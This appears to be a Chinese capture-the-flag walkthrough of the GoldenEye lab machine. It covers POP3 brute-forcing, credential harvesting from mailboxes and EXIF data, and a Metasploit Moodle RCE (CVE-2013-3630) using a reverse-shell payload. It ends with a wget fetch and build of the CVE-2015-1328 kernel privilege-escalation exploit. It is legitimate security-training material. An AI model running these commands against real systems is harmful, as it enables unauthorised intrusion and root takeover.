壹 题目信息
名字:GoldenEye
靶机地址:传送门
靶机IP
:192.168.239.147
贰 解题
端口扫描:
存在25,80,110,55006,55007端口开放,接着从80入手,访问:
存在两个问题:terminal.js
和/sev-home/
,分别访问发现http://192.168.239.147/terminal.js
存在密码泄露,http://192.168.239.147/sev-home/
需要登录:
http://192.168.239.147/terminal.js
存在密码泄露,即将InvincibleHack3r
进行HTML
编码,获得密码为:InvincibleHack3r
,并且根据提示发现用户名为Boris
,由于外国人的名字首字母大写,所以原来的用户名应该是boris
:
登陆后,查看前端信息发现,包含两个管理员Natalya
、Boris
,在根据网页里面的提示打开了pop3
,回想起前面的两个高端口:
通过telnet
访问两个端口发现55007
存在pop3
:
尝试登录,发现前面的用户名密码已经用不了:
开始尝试爆破,根据前面的两个用户名生成四个用户名Natalya
、natalya
、Boris
、boris
:
[55007][pop3] host: 192.168.239.147 login: Natalya password: bird
[55007][pop3] host: 192.168.239.147 login: natalya password: bird
[55007][pop3] host: 192.168.239.147 login: Boris password: secret1!
[55007][pop3] host: 192.168.239.147 login: boris password: secret1!
Natalya
和natalya
,Boris
和boris
属于同一账户,邮件内容一样,登录natalya
邮箱进行查看:
查看两封邮件发现,存在一个用户名密码以及一个域名以及/etc/hosts
:
域名:severnaya-station.com/gnocertdir
用户名密码:
username: xenia
password: RCP90rulez!
登录boris
邮箱进行查看:
提示了有一份文件使用GoldenEye
作为访问代码作为附件发送,并且放在此服务器的根目录下隐藏文件,但此处无法查看到附件内容,不过我们可以根据natalya
邮箱,设置hosts
文件,访问:http://severnaya-station.com/gnocertdir/
:
可以发现是一个moodle
开源cms
系统,简单翻阅一下,发现存在登录,尝试前面的用户名密码:xenia\RCP90rulez!
,登陆成功:
接着又是翻阅,发现一个用户doak
,是邮箱,我们接着对其进行爆破,发现也是弱口令doak\goat
:
登录查看邮箱,存在一个邮件:
查看邮件又获得一个用户名密码dr_doak\4England!
:
登录该用户,获得一个文件:
下载下来了,查看,说在这个目录/dir007key/for-007.jpg
有一个图片,可能包含adm1n
的信息:
访问http://severnaya-station.com/dir007key/for-007.jpg
,下载下来:
对图片进行一遍操作,发现使用exiftool for-007.jpg
执行发现有base64
编码:eFdpbnRlcjE5OTV4IQ==
,必有猫腻,解码为xWinter1995x!
,猜测会不会是前面admin
的密码:
尝试后发现是admin
,登录后,查看有没有有用的信息,可以看到是moodle
版本为2.2.3
:
在网上查找对应版本的漏洞,发现为有CVE-2013-3630
,尝试使用msf
进行攻击:
search CVE-2013-3630
use exploit/multi/http/moodle_spelling_binary_rce
set username admin
set password xWinter1995x!
set rhosts severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.239.142
options
注意这时候还不可以利用,因为msf
的底层代码使用的是pspellshell
,网页使用的是Googleshell
,导致没有办法去运行,所以在网页的TinyMCE HTML editor
处选择pspellshell
:
然后利用:
利用后获得的是一个伪shell
,所以我们可以使用python -c 'import pty; pty.spawn("/bin/bash")'
获得一个交互的shell
:
查看系统信息,发现内核版本Linux ubuntu 3.13.0-32
,存在CVE-2015-1328
提取漏洞,kali
里有CVE-2015-1328
攻击脚本:
searchsploit 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面/
// 由于靶场无法进行gcc编译,需要改成cc,即编辑脚本37292.c,将第143行的gcc改成cc
然后在存在exp
的目录下开http
服务:python2 -m SimpleHTTPServer 8888
,接着在msf
获得的靶机终端,执行wget http://10.10.10.129:8888/37292.c
,并编译cc -o exp 37292.c
,最后执行exp
,在/root
目录下的.flag.txt
获得flag
:
根据提示访问http://severnaya-station.com/006-final/xvf7-flag/
:
叁 需要学习的知识
pop
服务访问Linux
提权:CVE-2015-1328